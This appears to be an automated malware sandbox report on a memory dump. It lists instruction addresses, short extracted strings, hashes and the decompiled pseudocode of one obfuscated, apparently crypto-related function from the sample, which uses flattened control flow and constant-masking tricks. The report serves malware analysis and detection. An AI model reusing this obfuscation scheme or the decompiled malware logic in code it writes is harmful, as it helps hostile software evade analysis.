0x00f89a95
0x00f89aa0
0x00f89ab6
0x00f89abd
0x00f89ac8
0x00f89ad3
0x00f89ae6
0x00f89ae9
0x00f89aea
0x00f89af1
0x00f89af9
0x00f89b04
0x00f89b1a
0x00f89b21
0x00f89b2c
0x00f89b40
0x00f89b47
0x00f89b52
0x00f89b5f
0x00f89b63
0x00f89b74
0x00f89b77
0x00f89b7b
0x00f89b83
0x00f89b8b
0x00f89b9b
0x00f89b9f
0x00f89ba4
0x00f89bac
0x00f89bb7
0x00f89bbe
0x00f89bc9
0x00f89bd1
0x00f89bd6
0x00f89bdb
0x00f89be0
0x00f89be5
0x00f89bf7
0x00f89bfc
0x00f89c05
0x00f89c10
0x00f89c1b
0x00f89c26
0x00f89c31
0x00f89c3c
0x00f89c47
0x00f89c52
0x00f89c5d
0x00f89c68
0x00f89c73
0x00f89c7e
0x00f89c89
0x00f89c94
0x00f89c9f
0x00f89caa
0x00f89cb5
0x00f89cc1
0x00f89cc6
0x00f89cd0
0x00f89cd5
0x00f89cdb
0x00f89ce3
0x00f89cef
0x00f89cf2
0x00f89cf6
0x00f89cfe
0x00f89d06
0x00f89d0e
0x00f89d13
0x00f89d18
0x00f89d20
0x00f89d28
0x00f89d32
0x00f89d36
0x00f89d3e
0x00f89d46
0x00f89d4b
0x00f89d50
0x00f89d58
0x00f89d60
0x00f89d6a
0x00f89d72
0x00f89d7d
0x00f89d82
0x00f89d88
0x00f89d90
0x00f89d98
0x00f89da2
0x00f89da3
0x00f89da7
0x00f89dac
0x00f89db4
0x00f89dbc
0x00f89dc4
0x00f89dcc
0x00f89dd4
0x00f89dd9
0x00f89de1
0x00f89de9
0x00f89dee
0x00f89df6
0x00f89dfe
0x00f89e0b
0x00f89e0f
0x00f89e17
0x00f89e1f
0x00f89e27
0x00f89e2f
0x00f89e3c
0x00f89e40
0x00f89e45
0x00f89e4d
0x00f89e55
0x00f89e5d
0x00f89e65
0x00f89e6d
0x00f89e75
0x00f89e7d
0x00f89e85
0x00f89e8a
0x00f89e92
0x00f89e9d
0x00f89ea5
0x00f89eb0
0x00f89eb8
0x00f89ec5
0x00f89ec9
0x00f89ece
0x00f89ed6
0x00f89ee3
0x00f89ee7
0x00f89ef2
0x00f89ef6
0x00f89efe
0x00f89f06
0x00f89f13
0x00f89f17
0x00f89f1f
0x00f89f2a
0x00f89f32
0x00f89f39
0x00f89f44
0x00f89f4f
0x00f89f5a
0x00f89f65
0x00f89f70
0x00f89f78
0x00f89f7f
0x00f89f87
0x00f89f8f
0x00f89f97
0x00f89f9f
0x00f89fa4
0x00f89fac
0x00f89fb4
0x00f89fbf
0x00f89fca
0x00f89fd5
0x00f89fe0
0x00f89fe8
0x00f89ff7
0x00f89ffa
0x00f89ffe
0x00f8a006
0x00f8a00e
0x00f8a021
0x00f8a028
0x00f8a033
0x00f8a03e
0x00f8a049
0x00f8a054
0x00f8a05c
0x00f8a069
0x00f8a075
0x00f8a079
0x00f8a081
0x00f8a08c
0x00f8a097
0x00f8a0a2
0x00f8a0b4
0x00f8a0b7
0x00f8a0be
0x00f8a0c9
0x00f8a0d4
0x00f8a0df
0x00f8a0ea
0x00f8a0f2
0x00f8a0fa
0x00f8a102
0x00f8a10a
0x00f8a112
0x00f8a11a
0x00f8a122
0x00f8a12a
0x00f8a135
0x00f8a13d
0x00f8a148
0x00f8a153
0x00f8a15b
0x00f8a166
0x00f8a171
0x00f8a17c
0x00f8a187
0x00f8a192
0x00f8a19d
0x00f8a1a8
0x00f8a1b0
0x00f8a1bd
0x00f8a1c1
0x00f8a1c6
0x00f8a1ce
0x00f8a1d6
0x00f8a1e0
0x00f8a1e4
0x00f8a1ec
0x00f8a1f6
0x00f8a1fe
0x00f8a206
0x00f8a20e
0x00f8a216
0x00f8a21e
0x00f8a22e
0x00f8a234
0x00f8a23c
0x00f8a24e
0x00f8a253
0x00f8a25c
0x00f8a267
0x00f8a272
0x00f8a27d
0x00f8a288
0x00f8a293
0x00f8a29b
0x00f8a2a0
0x00f8a2a8
0x00f8a2b0
0x00f8a2b8
0x00f8a2c5
0x00f8a2c8
0x00f8a2cc
0x00f8a2d1
0x00f8a2d9
0x00f8a2e4
0x00f8a2ef
0x00f8a2fa
0x00f8a305
0x00f8a310
0x00f8a31b
0x00f8a326
0x00f8a331
0x00f8a33c
0x00f8a344
0x00f8a34c
0x00f8a35c
0x00f8a360
0x00f8a368
0x00f8a375
0x00f8a378
0x00f8a37c
0x00f8a38c
0x00f8a390
0x00f8a398
0x00f8a3a3
0x00f8a3ae
0x00f8a3b9
0x00f8a3c5
0x00f8a3c8
0x00f8a3cc
0x00f8a3d4
0x00f8a3dc
0x00f8a3e7
0x00f8a3f7
0x00f8a3fe
0x00f8a409
0x00f8a416
0x00f8a41e
0x00f8a429
0x00f8a434
0x00f8a43f
0x00f8a454
0x00f8a457
0x00f8a45e
0x00f8a469
0x00f8a474
0x00f8a47f
0x00f8a48a
0x00f8a492
0x00f8a4a2
0x00f8a4aa
0x00f8a4ad
0x00f8a4b1
0x00f8a4b9
0x00f8a4c1
0x00f8a4c9
0x00f8a4d1
0x00f8a4d8
0x00f8a4df
0x00f8a4df
0x00f8a4df
0x00f8a4e3
0x00f8a4e8
0x00f8a4e8
0x00f8a4e8
0x00f8a4ed
0x00f8a4ed
0x00f8a4ed
0x00f8a4f3
0x00000000
0x00000000
0x00f8a4f9
0x00f8a4f9
0x00f8a61f
0x00f8a625
0x00f8a4df
0x00f8a4df
0x00f8a4df
0x00f8a4e3
0x00000000
0x00f8a4e3
0x00f8a4ff
0x00f8a501
0x00f8a5ef
0x00f8a5f4
0x00f8a5f7
0x00f8a5fb
0x00f8a602
0x00f8a607
0x00000000
0x00f8a507
0x00f8a50d
0x00f8a5a3
0x00000000
0x00f8a513
0x00f8a519
0x00f8a8d5
0x00f8a51f
0x00f8a525
0x00f8a593
0x00f8a599
0x00f8a4df
0x00f8a4df
0x00f8a4df
0x00f8a4e3
0x00000000
0x00f8a4e3
0x00f8a527
0x00f8a52d
0x00f8a8ba
0x00f8a8ba
0x00f8a8c0
0x00f8a8c2
0x00000000
0x00f8a8c2
0x00f8a533
0x00f8a533
0x00f8a53d
0x00f8a544
0x00f8a544
0x00f8a53f
0x00f8a53f
0x00f8a53f
0x00f8a566
0x00f8a56b
0x00f8a570
0x00f8a578
0x00f8a4df
0x00f8a4df
0x00f8a4df
0x00f8a4e3
0x00f8a4e8
0x00f8a4e8
0x00f8a4ed
0x00f8a4ed
0x00f8a4ed
0x00f8a4f3
0x00000000
0x00000000
0x00000000
0x00f8a4f3
0x00000000
0x00f8a4ed
0x00f8a4df
0x00f8a52d
0x00f8a525
0x00f8a519
0x00f8a50d
0x00f8a501
0x00f8a8de
0x00f8a8e7
0x00f8a62f
0x00f8a62f
0x00f8a631
0x00f8a718
0x00f8a71b
0x00f8a73c
0x00f8a71d
0x00f8a728
0x00f8a733
0x00f8a733
0x00f8a77f
0x00f8a783
0x00f8a783
0x00f8a785
0x00f8a787
0x00f8a787
0x00f8a7c1
0x00f8a7e0
0x00f8a7e5
0x00f8a7e8
0x00f8a7ea
0x00f8a8ab
0x00000000
0x00f8a7f0
0x00f8a80b
0x00f8a81f
0x00f8a824
0x00f8a827
0x00f8a829
0x00f8a856
0x00f8a870
0x00f8a870
0x00f8a870
0x00f8a899
0x00f8a89e
0x00f8a89e
0x00f8a8a1
0x00000000
0x00f8a8a1
0x00f8a637
0x00f8a637
0x00f8a63d
0x00f8a6ff
0x00f8a701
0x00f8a708
0x00f8a709
0x00f8a4df
0x00f8a4df
0x00f8a4df
0x00f8a4e3
0x00000000
0x00f8a4e3
0x00f8a643
0x00f8a643
0x00f8a649
0x00f8a6e7
0x00000000
0x00f8a64f
0x00f8a64f
0x00f8a655
0x00f8a6d8
0x00f8a6df
0x00f8a4df
0x00f8a4df
0x00f8a4df
0x00f8a4e3
0x00000000
0x00f8a4e3
0x00f8a657
0x00f8a657
0x00f8a65d
0x00f8a663
0x00f8a681
0x00f8a68d
0x00f8a69b
0x00f8a6ad
0x00f8a6b2
0x00f8a6b7
0x00f8a8b0
0x00f8a8b0
0x00f8a8b5
0x00f8a8b5
0x00000000
0x00f8a65d
0x00f8a655
0x00f8a649
0x00f8a63d
0x00000000
0x00f8a631
0x00f8a4ed
0x00f8a4e8

Strings

nIh, xrefs: 00F8A47F
M&, xrefs: 00F89D3E
u!, xrefs: 00F8A187
J-, xrefs: 00F89FE8
-e, xrefs: 00F8A08C
1-l, xrefs: 00F89C1B
42c, xrefs: 00F89FB4
Kx, xrefs: 00F89BAC
10x, xrefs: 00F89A4A
e4K, xrefs: 00F89C94
?t, xrefs: 00F8A1B0
Lj@, xrefs: 00F89AC8
ZtD, xrefs: 00F89F2A
blZw, xrefs: 00F89DF6
%1o, xrefs: 00F8A049

Memory Dump Source

Source File: 00000000.00000002.707533149.0000000000F80000.00000040.00000010.sdmp, Offset: 00F80000, based on PE: true

Yara matches

Similarity

API ID:
String ID: %1o$-e$1-l$10x$42c$?t$J-$Kx$Lj@$M&$ZtD$blZw$e4K$nIh$u!
API String ID: 0-4213897193
Opcode ID: 58b38c3ec53494c127b1dbf24f281f757bbadb9a908cbe51fed2de83cc67bb90
Instruction ID: e2da742e2c2dcaae7f275479bcc5112cf33dd74837ab6155e85b9265d3b261ad
Opcode Fuzzy Hash: 58b38c3ec53494c127b1dbf24f281f757bbadb9a908cbe51fed2de83cc67bb90
Instruction Fuzzy Hash: 9F721F715083818FE378DF25C54AA9BBBE2FBC4704F10891DE5DA9A260D7B08949DF93

Uniqueness

Uniqueness Score: -1.00%

Function 00F86BFE, Relevance: 18.0, Strings: 14, Instructions: 484
COMMONCrypto

Download Yara Rule

C-Code - Quality: 95%

			E00F86BFE(void* __ecx) {
				char _v524;
				char _v1044;
				char _v1564;
				intOrPtr _v1576;
				char _v1580;
				signed int _v1584;
				signed int _v1588;
				signed int _v1592;
				signed int _v1596;
				signed int _v1600;
				signed int _v1604;
				signed int _v1608;
				signed int _v1612;
				signed int _v1616;
				signed int _v1620;
				signed int _v1624;
				signed int _v1628;
				signed int _v1632;
				signed int _v1636;
				signed int _v1640;
				signed int _v1644;
				signed int _v1648;
				signed int _v1652;
				signed int _v1656;
				signed int _v1660;
				signed int _v1664;
				signed int _v1668;
				signed int _v1672;
				signed int _v1676;
				signed int _v1680;
				signed int _v1684;
				signed int _v1688;
				signed int _v1692;
				signed int _v1696;
				signed int _v1700;
				signed int _v1704;
				signed int _v1708;
				signed int _v1712;
				signed int _v1716;
				signed int _v1720;
				signed int _v1724;
				signed int _v1728;
				signed int _v1732;
				signed int _v1736;
				signed int _v1740;
				signed int _v1744;
				signed int _v1748;
				signed int _v1752;
				signed int _v1756;
				signed int _v1760;
				signed int _v1764;
				signed int _v1768;
				signed int _v1772;
				signed int _v1776;
				unsigned int _v1780;
				signed int _v1784;
				signed int _v1788;
				signed int _v1792;
				signed int _v1796;
				signed int _v1800;
				void* _t556;
				void* _t560;
				void* _t564;
				short* _t570;
				void* _t577;
				void* _t579;
				void* _t583;
				signed int _t585;
				signed int _t586;
				signed int _t587;
				signed int _t588;
				signed int _t589;
				signed int _t590;
				signed int _t591;
				signed int _t592;
				signed int _t593;
				signed int _t594;
				signed int _t595;
				signed int _t596;
				void* _t597;
				signed int _t660;
				signed int _t661;
				void* _t663;
				void* _t668;
				intOrPtr* _t671;

				_v1584 = _v1584 & 0x00000000;
				_v1624 = 0xcd6a8e;
				_v1624 = _v1624 ^ 0x59f85b52;
				_v1624 = _v1624 ^ 0x5b3531dc;
				_v1780 = 0x153796;
				_v1780 = _v1780 ^ 0xa8923899;
				_v1780 = _v1780 | 0xac28b23c;
				_v1780 = _v1780 >> 0xd;
				_v1780 = _v1780 ^ 0x0003c082;
				_v1632 = 0x568d1d;
				_v1632 = _v1632 << 0xf;
				_v1632 = _v1632 ^ 0x468ec217;
				_v1616 = 0x9d4355;
				_t660 = 0x37;
				_t583 = __ecx;
				_v1616 = _v1616 / _t660;
				_t663 = 0x4a96617;
				_v1616 = _v1616 ^ 0x0000359d;
				_v1724 = 0x93f9c3;
				_v1724 = _v1724 << 2;
				_v1724 = _v1724 | 0x87fdad86;
				_v1724 = _v1724 ^ 0x87f5a7af;
				_v1772 = 0x86acb0;
				_t585 = 0x4f;
				_v1772 = _v1772 / _t585;
				_v1772 = _v1772 | 0x63c36736;
				_t586 = 0x5d;
				_v1772 = _v1772 * 0x4d;
				_v1772 = _v1772 ^ 0x01fd54a9;
				_v1708 = 0x504327;
				_v1708 = _v1708 << 6;
				_v1708 = _v1708 | 0x5b079a0f;
				_v1708 = _v1708 ^ 0x5f1f0ea3;
				_v1744 = 0x483dfe;
				_v1744 = _v1744 + 0x7962;
				_v1744 = _v1744 | 0x8f7a93af;
				_v1744 = _v1744 * 0x5e;
				_v1744 = _v1744 ^ 0xaf0ce591;
				_v1604 = 0xf324fc;
				_v1604 = _v1604 / _t586;
				_v1604 = _v1604 ^ 0x000117e7;
				_v1660 = 0x9b0ff3;
				_v1660 = _v1660 + 0xffff7fbd;
				_v1660 = _v1660 ^ 0x00946493;
				_v1768 = 0xe3e80;
				_v1768 = _v1768 + 0xffff3949;
				_v1768 = _v1768 ^ 0xcc667bab;
				_v1768 = _v1768 + 0xd761;
				_v1768 = _v1768 ^ 0xcc67c94c;
				_v1752 = 0x1ba7c7;
				_v1752 = _v1752 << 0xf;
				_v1752 = _v1752 / _t586;
				_v1752 = _v1752 ^ 0x0243af98;
				_v1636 = 0x20ffac;
				_v1636 = _v1636 << 5;
				_v1636 = _v1636 ^ 0x041b5824;
				_v1776 = 0x20e7b6;
				_v1776 = _v1776 + 0xdc4;
				_v1776 = _v1776 | 0x16692bc6;
				_v1776 = _v1776 + 0x1ef8;
				_v1776 = _v1776 ^ 0x166ead91;
				_v1588 = 0x5bcce1;
				_v1588 = _v1588 | 0xb1f42707;
				_v1588 = _v1588 ^ 0xb1f41bbe;
				_v1684 = 0x5005f4;
				_v1684 = _v1684 >> 5;
				_v1684 = _v1684 ^ 0x68e867d5;
				_v1684 = _v1684 ^ 0x68ed1d21;
				_v1628 = 0xdd4ed7;
				_v1628 = _v1628 << 0xc;
				_v1628 = _v1628 ^ 0xd4ef0c19;
				_v1800 = 0xcc2fe4;
				_t587 = 0x3d;
				_v1800 = _v1800 * 0x46;
				_v1800 = _v1800 ^ 0xccee4be8;
				_v1800 = _v1800 * 0x49;
				_v1800 = _v1800 ^ 0xa3e0a4c2;
				_v1668 = 0xdcf195;
				_v1668 = _v1668 + 0xffff5a5b;
				_v1668 = _v1668 ^ 0xaadb988a;
				_v1668 = _v1668 ^ 0xaa04b3de;
				_v1592 = 0xdb2eec;
				_v1592 = _v1592 | 0x5f830210;
				_v1592 = _v1592 ^ 0x5fd6e991;
				_v1700 = 0xcdaeb9;
				_v1700 = _v1700 + 0xa9d8;
				_v1700 = _v1700 + 0xb66f;
				_v1700 = _v1700 ^ 0x00c60899;
				_v1796 = 0xd07ac;
				_v1796 = _v1796 << 6;
				_v1796 = _v1796 + 0x6d81;
				_v1796 = _v1796 * 0x18;
				_v1796 = _v1796 ^ 0x4e3f386b;
				_v1612 = 0x56009b;
				_v1612 = _v1612 ^ 0x384c4bff;
				_v1612 = _v1612 ^ 0x381ba556;
				_v1600 = 0xf7e143;
				_v1600 = _v1600 / _t587;
				_v1600 = _v1600 ^ 0x00074027;
				_v1620 = 0xd026e5;
				_v1620 = _v1620 >> 7;
				_v1620 = _v1620 ^ 0x00091c5b;
				_v1640 = 0x4702c1;
				_t588 = 0x52;
				_v1640 = _v1640 / _t588;
				_v1640 = _v1640 ^ 0x0006a1c4;
				_v1648 = 0xc8140a;
				_v1648 = _v1648 + 0xffff0435;
				_v1648 = _v1648 ^ 0x00ca5ae3;
				_v1656 = 0x723f7d;
				_v1656 = _v1656 + 0xba41;
				_v1656 = _v1656 ^ 0x007ca4fd;
				_v1788 = 0x69db09;
				_v1788 = _v1788 + 0xf504;
				_v1788 = _v1788 * 0x65;
				_v1788 = _v1788 | 0x879c6e6e;
				_v1788 = _v1788 ^ 0xafb716ae;
				_v1792 = 0xdee7b0;
				_v1792 = _v1792 | 0x7d73bff1;
				_v1792 = _v1792 << 0xe;
				_v1792 = _v1792 ^ 0xfff81f60;
				_v1692 = 0xc3b6fe;
				_v1692 = _v1692 | 0x6405c425;
				_v1692 = _v1692 >> 0xd;
				_v1692 = _v1692 ^ 0x0005bb30;
				_v1736 = 0x36de01;
				_v1736 = _v1736 + 0x1e5d;
				_t589 = 0x1f;
				_v1736 = _v1736 / _t589;
				_t590 = 5;
				_v1736 = _v1736 / _t590;
				_v1736 = _v1736 ^ 0x00008f60;
				_v1644 = 0x7c75;
				_v1644 = _v1644 + 0x24e8;
				_v1644 = _v1644 ^ 0x000a8631;
				_v1704 = 0x776f2f;
				_v1704 = _v1704 | 0x27015ef2;
				_v1704 = _v1704 >> 1;
				_v1704 = _v1704 ^ 0x13ba9814;
				_v1784 = 0x521829;
				_v1784 = _v1784 << 1;
				_v1784 = _v1784 + 0xacbd;
				_v1784 = _v1784 << 6;
				_v1784 = _v1784 ^ 0x293a9c24;
				_v1716 = 0xc7b82c;
				_v1716 = _v1716 + 0xffff8c04;
				_t591 = 0x1b;
				_v1716 = _v1716 / _t591;
				_v1716 = _v1716 ^ 0x000bbd6a;
				_v1760 = 0x5af613;
				_t592 = 0x17;
				_v1760 = _v1760 / _t592;
				_t593 = 0x21;
				_v1760 = _v1760 * 0x79;
				_v1760 = _v1760 / _t593;
				_v1760 = _v1760 ^ 0x0003755a;
				_v1596 = 0x2d708b;
				_v1596 = _v1596 / _t593;
				_v1596 = _v1596 ^ 0x000db37e;
				_v1652 = 0x2eec22;
				_v1652 = _v1652 ^ 0x1f6efaaa;
				_v1652 = _v1652 ^ 0x1f426099;
				_v1676 = 0x1bfaf9;
				_t594 = 0x2c;
				_v1676 = _v1676 / _t594;
				_v1676 = _v1676 + 0x7ed5;
				_v1676 = _v1676 ^ 0x00011204;
				_v1728 = 0x99722;
				_t595 = 0x67;
				_v1728 = _v1728 / _t595;
				_v1728 = _v1728 + 0xa9ed;
				_v1728 = _v1728 ^ 0x000402ee;
				_v1764 = 0x7dadba;
				_v1764 = _v1764 | 0x440aef97;
				_v1764 = _v1764 ^ 0xd3501f2d;
				_v1764 = _v1764 | 0xcb63fec0;
				_v1764 = _v1764 ^ 0xdf6c0598;
				_v1712 = 0xfd5299;
				_v1712 = _v1712 + 0x574d;
				_t596 = 0x68;
				_v1712 = _v1712 / _t596;
				_v1712 = _v1712 ^ 0x000799f4;
				_v1720 = 0xd5633b;
				_v1720 = _v1720 ^ 0xfb7d43ee;
				_v1720 = _v1720 + 0xffff47bd;
				_v1720 = _v1720 ^ 0xfba62c54;
				_v1608 = 0x3d3a3f;
				_v1608 = _v1608 << 0xf;
				_v1608 = _v1608 ^ 0x9d12823b;
				_v1740 = 0x980e3b;
				_v1740 = _v1740 + 0xffff1fe6;
				_v1740 = _v1740 * 0x6e;
				_v1740 = _v1740 << 0xa;
				_v1740 = _v1740 ^ 0xd74f139c;
				_v1748 = 0xf6a327;
				_v1748 = _v1748 | 0x24bb4535;
				_v1748 = _v1748 / _t660;
				_v1748 = _v1748 + 0xffffd901;
				_v1748 = _v1748 ^ 0x00a06448;
				_v1756 = 0x23281c;
				_v1756 = _v1756 << 0xd;
				_v1756 = _v1756 + 0x3ace;
				_v1756 = _v1756 + 0xffffbc66;
				_v1756 = _v1756 ^ 0x6508bae1;
				_v1680 = 0xefa5f3;
				_v1680 = _v1680 + 0xd649;
				_v1680 = _v1680 >> 4;
				_v1680 = _v1680 ^ 0x000b71c0;
				_v1688 = 0xd7d7d;
				_v1688 = _v1688 << 6;
				_v1688 = _v1688 ^ 0x39cce6e9;
				_v1688 = _v1688 ^ 0x3a96b3cf;
				_v1696 = 0xe8190a;
				_v1696 = _v1696 + 0xffff8bcc;
				_v1696 = _v1696 * 0x45;
				_v1696 = _v1696 ^ 0x3e6c45dc;
				_v1732 = 0xaf65ed;
				_v1732 = _v1732 >> 1;
				_v1732 = _v1732 << 6;
				_v1732 = _v1732 + 0x301f;
				_v1732 = _v1732 ^ 0x15ed60b7;
				_v1664 = 0xbf44dc;
				_v1664 = _v1664 | 0xed1757a9;
				_v1664 = _v1664 ^ 0xd2cd8926;
				_v1664 = _v1664 ^ 0x3f771003;
				_v1672 = 0xa3137e;
				_v1672 = _v1672 | 0x61a4f07f;
				_v1672 = _v1672 << 4;
				_v1672 = _v1672 ^ 0x1a745c42;
				_t661 = _v1584;
				while(1) {
					L1:
					_t556 = 0xd83910a;
					while(1) {
						L2:
						_t597 = 0xecce1ce;
						do {
							L3:
							while(_t663 != 0x2f38181) {
								if(_t663 == 0x396a438) {
									return E00F99038(_v1732, _v1664, _v1584, _v1672);
								}
								if(_t663 == 0x4a96617) {
									_t663 = 0x971ed5f;
									continue;
								}
								if(_t663 == 0x971ed5f) {
									_t560 = E00FA27E2();
									__eflags = _t560 - E00F8576B();
									_t556 = 0xd83910a;
									_t663 = 0x2f38181;
									_t661 =  !=  ? 0xd83910a : 0xf28d74f;
									L2:
									_t597 = 0xecce1ce;
									continue;
								}
								if(_t663 == 0xa7e2b43) {
									_push(_v1608);
									_push(0);
									_push( &_v1564);
									_push(_v1720);
									_push(_v1712);
									_push(_v1764);
									_push(0);
									_push( &_v1580);
									_t564 = E00FA06EF(_v1728, __eflags);
									__eflags = _t564;
									if(_t564 == 0) {
										L26:
										return _t564;
									}
									E00F99038(_v1740, _v1748, _v1580, _v1756);
									return E00F99038(_v1680, _v1688, _v1576, _v1696);
								}
								if(_t663 == 0xd093482) {
									E00F824AA(_t597, _v1708, __eflags,  &_v1044, _v1744, _v1604, _v1660);
									_t570 = E00F90F17(_v1768, _v1752,  &_v1044, _v1636, _v1776);
									_t671 = _t668 + 0x1c;
									 *_t570 = 0;
									E00F9CC3F(_v1588,  &_v524, __eflags, _v1684);
									 *_t671 = 0xf811d0;
									E00FA06A6(__eflags,  &_v1044, _v1668, E00FA0AD3(_v1628, _v1800, __eflags), _v1592, _v1700,  &_v1564, _v1796);
									E00F92EED(_v1612, _v1600, _v1620, _t572);
									_t577 = E00FA3306( &_v1564, _v1640, _v1648, _v1656, _t583, _v1788);
									_t668 = _t671 + 0x34;
									__eflags = _t577;
									if(__eflags == 0) {
										L12:
										_t663 = 0x396a438;
										while(1) {
											L1:
											_t556 = 0xd83910a;
											goto L2;
										}
									}
									_t556 = 0xd83910a;
									__eflags = _t661 - 0xd83910a;
									_t597 = 0xecce1ce;
									_t663 =  ==  ? 0xecce1ce : 0xa7e2b43;
									continue;
								}
								if(_t663 != _t597) {
									goto L21;
								}
								_push(_t597);
								_t579 = E00F9473A( &_v1580, _v1792, _v1584, _v1692, _v1736,  &_v1564, _v1644, _v1704);
								_t668 = _t668 + 0x20;
								if(_t579 != 0) {
									E00F99038(_v1784, _v1716, _v1580, _v1760);
									E00F99038(_v1596, _v1652, _v1576, _v1676);
									_t668 = _t668 + 0x10;
								}
								goto L12;
							}
							__eflags = _t661 - _t556;
							if(_t661 != _t556) {
								_t663 = 0xd093482;
								goto L21;
							}
							_push(_t597);
							_push(_v1772);
							_t564 = E00F87D87(_v1624, _v1724,  &_v1584, _t597);
							_t668 = _t668 + 0x14;
							__eflags = _t564;
							if(__eflags == 0) {
								goto L26;
							}
							_t663 = 0xd093482;
							goto L1;
							L21:
							__eflags = _t663 - 0xdeb83c1;
						} while (__eflags != 0);
						return _t556;
					}
				}
			}

0x00f86c04
0x00f86c0e
0x00f86c19
0x00f86c24
0x00f86c2f
0x00f86c37
0x00f86c3f
0x00f86c47
0x00f86c4c
0x00f86c54
0x00f86c5f
0x00f86c67
0x00f86c72
0x00f86c8a
0x00f86c8f
0x00f86c91
0x00f86c98
0x00f86c9d
0x00f86ca8
0x00f86cb0
0x00f86cb5
0x00f86cbd
0x00f86cc5
0x00f86cd3
0x00f86cd8
0x00f86cdc
0x00f86ceb
0x00f86cec
0x00f86cf0
0x00f86cf8
0x00f86d00
0x00f86d05
0x00f86d0d
0x00f86d15
0x00f86d1d
0x00f86d25
0x00f86d32
0x00f86d36
0x00f86d3e
0x00f86d54
0x00f86d5b
0x00f86d66
0x00f86d71
0x00f86d7c
0x00f86d87
0x00f86d8f
0x00f86d97
0x00f86d9f
0x00f86da7
0x00f86daf
0x00f86db7
0x00f86dca
0x00f86dce
0x00f86dd6
0x00f86de1
0x00f86de9
0x00f86df4
0x00f86dfc
0x00f86e04
0x00f86e0e
0x00f86e16
0x00f86e1e
0x00f86e29
0x00f86e34
0x00f86e3f
0x00f86e4a
0x00f86e52
0x00f86e5d
0x00f86e68
0x00f86e73
0x00f86e7b
0x00f86e86
0x00f86e95
0x00f86e98
0x00f86e9c
0x00f86ea9
0x00f86ead
0x00f86eb5
0x00f86ec0
0x00f86ecb
0x00f86ed6
0x00f86ee1
0x00f86eec
0x00f86ef7
0x00f86f02
0x00f86f0a
0x00f86f12
0x00f86f1a
0x00f86f22
0x00f86f2a
0x00f86f2f
0x00f86f3c
0x00f86f40
0x00f86f48
0x00f86f53
0x00f86f5e
0x00f86f69
0x00f86f7f
0x00f86f86
0x00f86f91
0x00f86f9c
0x00f86fa4
0x00f86faf
0x00f86fc1
0x00f86fc4
0x00f86fcb
0x00f86fd6
0x00f86fe1
0x00f86fec
0x00f86ff7
0x00f87002
0x00f8700d
0x00f87018
0x00f87020
0x00f8702d
0x00f87031
0x00f87039
0x00f87041
0x00f87049
0x00f87051
0x00f87056
0x00f8705e
0x00f87069
0x00f87074
0x00f8707c
0x00f87087
0x00f8708f
0x00f8709f
0x00f870a4
0x00f870ae
0x00f870b3
0x00f870b7
0x00f870bf
0x00f870ca
0x00f870d5
0x00f870e0
0x00f870e8
0x00f870f0
0x00f870f4
0x00f870fc
0x00f87104
0x00f87108
0x00f87110
0x00f87115
0x00f8711d
0x00f87125
0x00f87133
0x00f87138
0x00f8713c
0x00f87144
0x00f87152
0x00f87157
0x00f87162
0x00f87165
0x00f87171
0x00f87175
0x00f8717d
0x00f87193
0x00f8719a
0x00f871a5
0x00f871b0
0x00f871bb
0x00f871c6
0x00f871d8
0x00f871dd
0x00f871e6
0x00f871f1
0x00f871fc
0x00f87208
0x00f8720b
0x00f8720f
0x00f87217
0x00f8721f
0x00f87227
0x00f8722f
0x00f87237
0x00f8723f
0x00f87249
0x00f87256
0x00f87264
0x00f87269
0x00f8726d
0x00f87275
0x00f8727d
0x00f87285
0x00f8728d
0x00f87295
0x00f872a0
0x00f872a8
0x00f872b3
0x00f872bb
0x00f872c8
0x00f872cc
0x00f872d1
0x00f872d9
0x00f872e1
0x00f872ef
0x00f872f3
0x00f872fb
0x00f87303
0x00f8730b
0x00f87310
0x00f87318
0x00f87320
0x00f87328
0x00f87333
0x00f8733e
0x00f87346
0x00f87351
0x00f8735c
0x00f87364
0x00f8736f
0x00f8737a
0x00f87382
0x00f8738f
0x00f87393
0x00f8739b
0x00f873a3
0x00f873a7
0x00f873ac
0x00f873b4
0x00f873bc
0x00f873c7
0x00f873d2
0x00f873dd
0x00f873e8
0x00f873f3
0x00f873fe
0x00f87406
0x00f87411
0x00f87418
0x00f87418
0x00f87418
0x00f8741d
0x00f8741d
0x00f8741d
0x00f87422
0x00000000
0x00f87422
0x00f87430
0x00000000
0x00f8772d
0x00f8743c
0x00f8763b
0x00000000
0x00f8763b
0x00f87448
0x00f87616
0x00f87622
0x00f87629
0x00f8762e
0x00f87633
0x00f8741d
0x00f8741d
0x00000000
0x00f8741d
0x00f87454
0x00f87699
0x00f876a7
0x00f876a9
0x00f876aa
0x00f876b5
0x00f876b9
0x00f876c1
0x00f876c3
0x00f876c4
0x00f876cc
0x00f876ce
0x00f87738
0x00f87738
0x00f87738
0x00f876e3
0x00000000
0x00f87709
0x00f87460
0x00f8750c
0x00f8752c
0x00f87531
0x00f8753d
0x00f8754e
0x00f8755e
0x00f8759e
0x00f875bc
0x00f875e2
0x00f875e7
0x00f875ea
0x00f875ec
0x00f874e7
0x00f874e7
0x00f87418
0x00f87418
0x00f87418
0x00000000
0x00f87418
0x00f87418
0x00f875f2
0x00f875fc
0x00f875fe
0x00f87603
0x00000000
0x00f87603
0x00f87468
0x00000000
0x00000000
0x00f8746e
0x00f8749f
0x00f874a4
0x00f874a9
0x00f874be
0x00f874df
0x00f874e4
0x00f874e4
0x00000000
0x00f874a9
0x00f87645
0x00f87647
0x00f87683
0x00000000
0x00f87683
0x00f87649
0x00f8764a
0x00f87669
0x00f8766e
0x00f87671
0x00f87673
0x00000000
0x00000000
0x00f87679
0x00000000
0x00f87688
0x00f87688
0x00f87688
0x00000000
0x00f87422
0x00f8741d

Strings

C+~, xrefs: 00F8744E
C+~, xrefs: 00F875F7
}?r, xrefs: 00F86FF7
}}, xrefs: 00F87351
by, xrefs: 00F86D1D
/ow, xrefs: 00F870E0
?:=, xrefs: 00F87295
_q, xrefs: 00F87442
'CP, xrefs: 00F86CF8
_q, xrefs: 00F8763B
MW, xrefs: 00F87256
$, xrefs: 00F870CA
k8?N, xrefs: 00F86F40
"., xrefs: 00F871A5

Memory Dump Source

Source File: 00000000.00000002.707533149.0000000000F80000.00000040.00000010.sdmp, Offset: 00F80000, based on PE: true

Yara matches

Similarity

API ID:
String ID: ".$'CP$/ow$?:=$C+~$C+~$MW$_q$_q$by$k8?N$}?r$}}$$
API String ID: 0-1854710511
Opcode ID: e3f076d55df25e7da69ca58bb08ffa444c71112a0f92d7500cc829de4f1c52ae
Instruction ID: 392e334224abb05bc60109f38a5672af45df611b8e2f47220ca65bccfaad69de
